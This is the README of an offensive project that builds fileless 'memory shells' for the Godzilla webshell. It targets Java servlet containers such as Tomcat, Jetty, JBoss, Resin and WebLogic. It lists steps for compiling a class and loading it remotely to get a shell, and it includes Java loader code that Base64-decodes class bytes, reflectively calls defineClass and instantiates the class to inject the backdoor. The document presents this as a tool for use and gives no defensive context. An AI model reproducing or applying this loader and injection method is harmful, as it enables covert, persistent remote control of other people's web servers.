GodzillaMemoryShellProject

哥斯拉内存Shell项目

当你拥有一个可以加载任意Class的能力,你就可以编译此项目,编译对应容器的Class 当Class被加载之后，你将获得一个哥斯拉的内存shell,你连接时可以填写任意URI路径

姊妹项目(.NET/IIS内存Shell)：https://github.com/BeichenDream/GodzillaMemoryShellProject.NET/

  1. 选择JDK版本
  2. 编译此项目
  3. 找到对应容器编译出来的Class
  4. 在远程加载该Class
  5. 获得内存Shell

目前支持以下容器 几乎支持容器的所有版本（欢迎pull更多容器）,你无需关注上下文，这一切哥斯拉内存Shell将会自动搜寻并完成注入 在这个项目你会看到很多的动态代理，这是哥斯拉内存Shell为了兼容javax和jakarta api规范

  1. Tomcat 5 - 10
  2. Jetty 7 - 11.0.11
  3. JBoss 8 - 27.0.0
  4. Resin 3 - 4.0.66
  5. Weblogic 10.3.6 - weblogic 14

如何调用哥斯拉内存shell

            //哥斯拉内存shell的class Base64
            String godzillaMemShellClassBase64 = "...........";
            //base64 解码
            byte[] classBytes =  Base64.getDecoder().decode(godzillaMemShellClassBase64);
            //获得上下文的ClassLoader
            ClassLoader loader = Thread.currentThread().getContextClassLoader();
            //反射获得defineClass方法 用来定义Class
            Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            //使得defineClass方法可访问
            defineClassMethod.setAccessible(true);
            //调用defineClass方法 从class字节码创建Class
            Class clazz = (Class) defineClassMethod.invoke(loader,classBytes,0,classBytes.length);
            //创建哥斯拉内存shell实例 哥斯拉内存Shell在此处自动注入
            clazz.newInstance();

注入内存shell/查找上下文很慢？

可以根据目标环境减小maxDetch的值

自动搜寻上下文

引用

https://github.com/feihong-cs/memShell